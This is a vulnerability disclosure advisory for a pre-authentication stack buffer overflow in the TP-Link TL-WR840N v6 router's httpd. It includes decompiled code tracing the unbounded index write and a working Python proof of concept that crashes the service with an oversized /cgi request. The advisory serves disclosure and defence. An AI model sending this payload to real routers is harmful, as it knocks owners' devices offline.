Summary
A vulnerability in TP-Link’s TL-WR840N allows remote attackers to trigger a stack overflow vulnerability allowing remote attackers to cause a denial of service in httpd.
Credit
An independent security researcher, @delsploit, working with SSD Secure Disclosure.
Affected Devices
- Device name: TL-WR840Nv6
- Firmware version: 0.9.1_4.1.19
Vendor Response
The vendor has released a new firmware (TL-WR840N(KR)_V6.2_230702) available at: https://www.tp-link.com/kr/support/download/tl-wr840n/#Firmware
The vendor has stated that they have no plans to release an advisory or CVE for this vulnerability.
Technical Analysis
The TL-WR840N has some accessible paths which are pre-auth. The /cgi
path is one of them.
int http_cgi_init() { return http_alias_addEntryByArg(2u, "/cgi", 0, http_cgi_main, g_http_author_default); }
The httpd server uses http_cgi_init
to register a handler function for /cgi
. http_cgi_main
.
int __fastcall http_cgi_main(unknown_structure *a1) { /* skip */ if ( !checkOidAuth(DescStr, cgi_param) ) // return 1 => pre-auth { cdbg_printf(8, "http_cgi_main", 819, "checkOidAuth(oid %s) is FALSE \n", DescStr); goto LABEL_93; } switch ( cgi_param ) { case 1u: v6 = rdp_getObj(1, DescStr, v45, data); // vulnerable path if ( v6 > 0 ) goto EXIT; if ( sub_40B0B0(client_type, actIndex++, (unsigned __int16 *)v45 + 1, data) ) goto LABEL_93; goto LABEL_85; /* skip */ }
The rdp_getObj
is a path reachable to pre-auth that access the vulnerable function (dm_fillStrByObj
).
int __fastcall rdp_getObj(int a1, int a2, int a3, int a4) { /* skip */ { _v0_5 = dm_fillStrByObj(a1, _s3_3, a3, (t_obj *)var4400, 0xF9Fu, (const char *)a4); // vulnerable function _s2_5 = _v0_5; if ( _v0_5 ) { cdbg_perror("rdp_getObj", 310, _v0_5); _s0_1 = _s2_5; } dm_unLock(); } /* skip */ }
The dm_fillStrByObj
function is vulnerable to stack buffer overflow.
unsigned int __fastcall dm_fillStrByObj(int a1, unsigned __int16 oid, int a3, t_obj *a4, unsigned int data_size, const char *data) { /* skip */ obj = dm_getObjNode(oid); if ( !obj ) { cdbg_printf(8, "dm_fillStrByObj", 2091, "Get object information failed. object oid = %u\n", v7); return 9804; } memset(index_list, 0, 70); v11 = strlen(data); if ( v11 ) { v15 = (_BYTE *)strchr(data, '\n'); v16 = (char *)data; param_idx = 0; while ( v15 ) { *v15 = 0; v17 = (_BYTE *)strchr(v16, '='); if ( v17 ) *v17 = 0; index = find_objParam_index(obj, v16); // [1] if ( index == -1 ) { v51 = v16; v52 = *(const char **)(obj + 8); v19 = 351; goto FAILED_INDEX; } v11 += ~(v15 - v16); index_list[param_idx] = index; // [2] param_idx = (unsigned __int16)(param_idx + 1); if ( !v11 ) goto LABEL_24; v16 = v15 + 1; v15 = (_BYTE *)strchr(v15 + 1, '\n'); } /* skip */ }
The 6th argument (data
) is provided by the remote user as part of the input he gives in the URL.
It is converted to index
after calling find_objParam_index
at [1]
.
It is then saved into index_list[param_idx]
at [2]
.
But there is no limitation on value used in param_id
, it can be increased indefinitely. This results in an an OOB bug.
Because index_list
is a local variable, it leads stack buffer overflow.
Due to the way the software was designed if you crash httpd
, and httpd
does not respawn.
Proof of Concept
import requests headers = { "Host": "192.168.0.1", "User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0", "Accept": "*/*", "Accept-Language": "en-US,en;q=0.5", "Accept-Encoding": "gzip, deflate", "Content-Type": "text/plain", "Content-Length": "78", "Origin": "http://192.168.0.1", "Connection": "close", "Referer": "http://192.168.0.1/" } payload = "\nModelName"*0x100 formdata = f"[IGD_DEV_INFO#0,0,0,0,0,0#0,0,0,0,0,0]0,1\r\ndescription\nModelName{payload}\r\n" url = "http://192.168.0.1/cgi?1" response = requests.post(url, data=formdata, headers=headers) print(response.text)